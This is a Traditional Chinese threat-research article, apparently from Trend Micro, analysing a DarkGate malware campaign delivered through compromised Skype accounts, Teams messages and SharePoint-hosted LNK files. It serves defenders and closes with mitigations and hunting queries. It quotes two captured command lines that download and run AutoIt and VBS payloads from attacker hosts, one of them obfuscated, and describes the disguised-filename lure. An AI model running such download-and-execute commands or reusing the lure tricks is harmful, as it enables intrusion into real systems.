網路資安威脅
DarkGate 經由 Skype 和 Teams 滲透企業
本文詳細說明一起目前仍在活躍當中的駭客攻擊行動,專門利用 Skype 和 Teams 兩個即時通訊平台來對目標企業散播 DarkGate 惡意程式。此外趨勢科技也發現,DarkGate 一旦安裝到受害系統上,就會在環境內部散播更多其他惡意程式。
今年 7 月至 9 月,我們觀察到 DarkGate (趨勢科技命名為:TrojanSpy.AutoIt.DARKGATE.AA) 利用即時通訊平台將一個 VBA 腳本 (載入器) 發送到受害系統上。這個腳本會下載並執行第二階段的惡意檔案,這個檔案採用 AutoIT 腳本撰寫,裡面包含了 DarkGate 的惡意程式碼。目前仍不清楚散播惡意程式的即時通訊帳號當初是如何遭到入侵,不過我們懷疑應該是帳號登入憑證遭到外洩後被賣到地下論壇,或是其母公司先前曾遭到駭客入侵。
DarkGate 近幾年來一直相當活躍,今年我們已經觀察到多起相關的攻擊事件,Truesec 和 MalwareBytes 都曾經報導。在密切監控該起攻擊行動的過程中,我們發現 DarkGate 大部分的攻擊都出現在美洲地區,其次亞洲、中東與非洲,分布還算平均。
背景
DarkGate 在分類上是屬於一般的載入器程式,最早的記載是在 2017 年末。從 2023 年 5 月開始,俄羅斯文的 eCrime 網路論壇上便刊登過各種版本的 DarkGate 廣告,而且從那時起,使用該惡意程式來突破企業防線的攻擊數量便開始增加。
DarkGate 具備多樣化功能,可用來從事下列工作:
- 執行探索指令 (包括瀏覽目錄)。
- 自我更新及自我管理。
- 執行遠端存取軟體,例如:遠端桌面協定 (也就是 RDP)、隱藏的虛擬網路運算 (也就是 hVNC) 以及 AnyDesk。
- 從事虛擬加密貨幣挖礦 (開始、停止、設定組態)。
- 執行鍵盤側錄。
- 竊取瀏覽器資訊。
- 提升權限。
此外,DarkGate 也會使用一個名為「AutoIt」的 Windows 平台自動化及腳本工具來派送和執行惡意程式。雖然 AutoIt 是一個合法的工具,但卻經常被其他惡意程式家族用來躲避偵測,讓自己更不容易被察覺。但由於過去一些知名的載入器,如 IcedID、Emotet 或 Qakbot 都未曾使用過這個工具,因此讓研究人員或資安人員更容易將它的活動跟惡意程式的攻擊行動連結。
在比較 DarkGate 最新的變種與 2018 年同樣使用 AutoIt 的某個變種之後,趨勢科技發現其行為在攻擊初期階段與指令列的加密編碼上稍微有所改變,但整個感染過程還是大致維持不變。
攻擊介紹
根據我們研究到的樣本,駭客利用了兩家企業之間的信任關係來誘騙收到訊息的一方執行一個隨附的 VBA 腳本。由於受害者的 Skype 帳號被盜,因此駭客便挾持了帳號內現有的訊息討論串,然後將惡意檔案命名成跟聊天內容有關的名稱。
受害者收到了一則從被盜的 Skype 帳號發出的訊息,訊息內含有一個不肖的 VBS 腳本,檔名格是為:<filename.pdf> www.skype[.]vbs。由於這個檔案名稱中間含有一段空白,因此讓使用者誤以為這是一個 .PDF 文件,但其實完整的檔名還包含後面的 www.skype[.]vbs 部分。在我們分析的樣本中,訊息接收者其實是認識訊息發送者,而且是他們信賴的一家外部供應商的人員。
受害者一旦執行這個 VBA 腳本,就會新增一個名為「<Random Char >」的資料夾,然後將 curl.exe複製成與該目錄相同的名稱:<Random Char>.exe。接著,再從一個外部伺服器下載 AutoIt3 執行檔和一個 .AU3 腳本。
Trend Vision One™ 偵測到這個 VBA 腳本是透過 Windows 原生工具 wscript.exe 來執行,它會建立 <Random Char> 目錄,並將 curl.exe 複製一份,變成 <Random Char>.exe。
從 Trend Vision One 的根源分析 (RCA),我們看到腳本利用 curl 指令來下載合法的 AutoIt 應用程式以及相關的 fIKXNA.au3 惡意腳本 (.au3 是 AutoIt Version 3 的腳本檔案)。Curl 是透過 cmd.exe 來執行,並使用下列參數來從遠端伺服器下在這兩個檔案:
C:\Windows\System32\cmd.exe" /c mkdir c:\zohn & cd /d c:\zohn & copy C:\windows\system32\curl.exe zohn.exe & zohn -o Autoit3.exe hxxp://reactervnamnat[.]com:80 & zohn -o BzpXNT.au3 hxxp://reactervnamnat[.]com:80/msimqrqcjpz & Autoit3.exe BzpXNT.au3 |
在另一個我們研究的 DarkGate 樣本中,駭客是經由 Microsoft Teams 訊息來發送連結。在這個案例,受害企業的系統因為允許受害者接收來自外部使用者的訊息,所以導致他們成為垃圾訊息的攻擊目標。Truesec 的研究人員在 9 月上旬的一篇報告中記載過 DarkGate 的一個類似技巧。在經由 Skype 的攻擊中使用的是偽裝成 PDF 檔案的 VBS 腳本,但在經由 Teams 的攻擊版本中,駭客則是使用了一個 .LNK 檔案。不僅如此,使用 Teams 攻擊的樣本是來自於一個不明的外部發訊者。
除此之外,我們也觀察到還有第三種散播 VBA 腳本的方式,那就是將壓縮後的 .LNK 檔案放在發訊者的 SharePoint 網站上。受害者會被誘騙前往指定的 SharePoint 網站下載名為「Significant company changes September.zip」的檔案。
該 .ZIP 檔案內含有下列偽裝成 PDF 文件的 .LNK 檔案:
- Company_Transformations.pdf.lnk
- Revamped_Organizational_Structure.pdf.lnk
- Position_Guidelines.pdf.lnk
- Fresh_Mission_and_Core_Values.pdf.lnk
- Employees_Affected_by_Transition.pdf.lnk
根據條件判斷,隨附的指令只有在前一個指令失敗時才會執行。LNK 檔案當中含有以下指令:
"C:\Windows\System32\cmd.exe" /c hm3 || EChO hm3 & PIN"G" hm3 || cURl h"t"t"p":"//"1"85.39"0.1"8"0.17"0"/m"/d"2"J" -o C:\Users\<USER>\AppData\Local\Temp\hm3.vbs & PIN"G" -n 4 hm3 || c"sCR"i"Pt" C:\Users\<USER>\AppData\Local\Temp\hm3.vbs & e"XI"t 'HlnLEG=OcCQmmcm |
一旦執行成功,就會下載並執行一個 VBA 腳本 (hm3.vbs),也就載入器。這個 VBA 腳本接著會將 curl.exe 從 System32 目錄複製成一個名為「<Random Char>.exe」的檔案,然後再利用 curl 指令來下載 Autoit3.exe 與相關的 DarkGate 惡意程式碼。
DarkGate AU3 腳本
下載的檔案當中包含了合法的 AutoIt 軟體以及惡意的 AutoIt 組譯後腳本檔案,裡面就包含了 DarkGate 的惡意功能。AU3 檔案會先執行下列檢查之後才會繼續執行腳本,如果有以下任何一個條件不滿足,腳本就終止執行:
- %Program Files% 必須存在。
- 使用者名稱不是「SYSTEM」。
一旦環境檢查完成,程式就會尋找一個副檔名為「.au3」的檔案,將它解密之後,執行其中的 DarkGate 惡意程式碼。如果無法載入 .AU3 檔案,就會顯示錯誤訊息方塊,並終止執行。
當 .AU3 檔案成功執行時,就會在 C:\Program Files (x86)\ 目錄底下產生一些代理處理程序。這些處理程序包括:iexplore.exe、GoogleUpdateBroker.exe 及 Dell.D3.WinSvc.UILauncher.exe。這些會透過 shellcode 注入的方式在記憶體中執行 DarkGate 的惡意程式碼。
DarkGate 常駐在系統的方式,就是在下面的 Windows 使用者啟動資料夾當中產生一個隨機命名的 LNK 檔案,讓系統在每次重新開機時都會執行該檔案:
<C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<random>.lnk>
此外,還會在 Program Data 目錄中產生以隨機的 7 個字元命名的資料夾,用來儲存記錄檔與組態設定資料。為了方便研究 DarkGate 的惡意檔案與處理程序,我們使用 Telekom Security 的一個工具來擷取出組態設定檔案的內容。
檔案路徑 | 詳細資料 |
---|---|
%ProgramData%\{Generated 7 Characters}\{Generated 7 Characters for logsfolder}\{date}.log | 加密過的關鍵記錄檔 |
%ProgramData%\{Generated 7 Characters}\{Generated 7 Characters for logsfolder}\{Generated 7 Characters for "settings"} | 加密過的惡意程式設定 |
安裝之後的後續活動
根據觀察,DarkGate 只是扮演其他惡意程式的下載器。在安裝完成之後,DarkGate 會植入一些檔案到 <C:/Intel/> 與 <%appdata%/Adobe/> 目錄當中來幫助它自我偽裝
根據我們的偵測資料,這些被植入的檔案不是 DarkGate 的變種就是 Remcos 的變種,所以這麼做很可能是為了鞏固駭客在受害系統內的地盤。以下是我們發現的一些其他惡意程式範例:
- Folkevognsrugbrd.exe
- logbackup_0.exe
- sdvbs.exe
- Vaabenstyringssystem.exe
- Sdvaners.exe
- Dropper.exe
結論與建議
在我們研究的這起攻擊案例中,駭客在攻擊得逞之前就已經被偵測並制止,不過我們也注意到,由於駭客先前已經將重心轉向 DarkGate 的廣告與出租業務,因此攻擊真正的意圖應該是隨發動攻擊的加盟者而異。加盟者可能利用這套機制來讓系統感染各式各樣的惡意程式,包括:資訊竊取程式、勒索病毒、惡意和/或遭到濫用的遠端管理工具,以及虛擬加密貨幣挖礦程式。
在前述討論的主要案例中,駭客是利用 Skype 來正常地與第三方供應商聯繫,因此更容易滲透和/或誘騙使用者下載惡意檔案。不過收訊者只是駭客進入目標環境第一個破口,其最終的目標還是想要滲透整個環境,而且視購買或租用 DarkGate 的駭客集團而定,威脅的型態從勒索病毒到虛擬加密貨幣挖礦不等。根據我們的監測資料,我們已經看到 DarkGate 會散播一些經常與 Black Basta 勒索病毒集團有所關聯的工具。
只要企業允許接收來自外部的訊息,或是未特別留意被盜的帳號可能利用企業之間的信賴關係,那麼任何即時通訊 (IM) 軟體都有可能像這樣被當成突破企業防線的工具。企業在導入任何新的應用程式時,都應伴隨著一些安全措施來縮小企業的可攻擊面。以這個案例為例,企業應該針對即時通訊應用程式實施一些管制,例如:封鎖外部網域、管制附件檔案,並且可以的話,建立一套掃描機制。強烈建議採用多重認證 (MFA) 來保護應用程式 (包括即時通訊程式) 以防止合法帳號因登入憑證外洩而被盜用。如此一來就能避免惡意威脅利用這些管道大量傳播的可能性。
應用程式允許清單是一種很好的防禦機制,可透過政策部署到主機,並確保最終用戶只能存取和執行特定應用程式。在這種情況下,AutoIt 應用程式很少需要在最終用戶機器上常駐或執行。
儘管該威脅的入侵管道並無新意,但卻顯示資安防護應該儘早建置在攻擊和感染過程的前期。任何企業,不論規模大小,都應建立一套制度來定期接受新知,並透過訓練來提升員工的資安意識。更重要的是要讓人員能分辨最新的威脅以便能夠自保。駭客不論是挾持電子郵件或即時通訊的討論串,都需要讓收訊者相信其溝通的對象確實是帳號本人,如此才能獲得信任。所以,讓使用者對這樣的信賴關係隨時保持警戒,是提升資安意識與信心的一項重要條件。
本文案例突顯出深度的 7 天 24 小時持續監控、防禦及偵測的重要性,這就是 Trend Service One™ 當中的 Trend Micro™ Managed XDR 所提供的,我們的資安分析師在偵測及遏止威脅並避免它發展成重大入侵事件的反應能力,在攻擊手法、技巧及程序 (TTP) 不斷翻新的今日,著實扮演著關鍵的角色。此外,企業也應該考慮採用 Trend Vision One™ 來提供跨防護層的威脅偵測及回應能力。同時,還可將端點 (也就是常見的感染源) 隔離,直到端點完全清除乾淨或調查完成為止。
以下是 Trend Vision One 的客戶可用來調查 DarkGate 的查詢敘述:
- processFilePath:wscript.exe AND objectFilePath:cmd.exe AND objectCmd:(au3 OR autoit3.exe OR curl) AND eventSubId: 2
「cmd.exe」會執行「curl.exe」,後者會下載合法的 AutoIt 應用程式以及相關的 .au3 惡意檔案 (.au3 是 AutoIt Version 3 腳本檔案)。查詢敘述中的「eventSubId: 2 」代表 TELEMETRY_PROCESS_CREATE (產生監控處理程序)。
- parentFilePath:cmd.exe AND processFilePath:curl.exe AND processCmd:*http* AND objectFilePath:*vbs AND eventSubId:101
查詢是否有任何經由 curl 下載的 VBScript。查詢敘述中的「eventSubId: 101」代表 TELEMETRY_PROCESS_CREATE (建立監控資料檔案)。
入侵指標 (IoC)
請至此處下載入侵指標。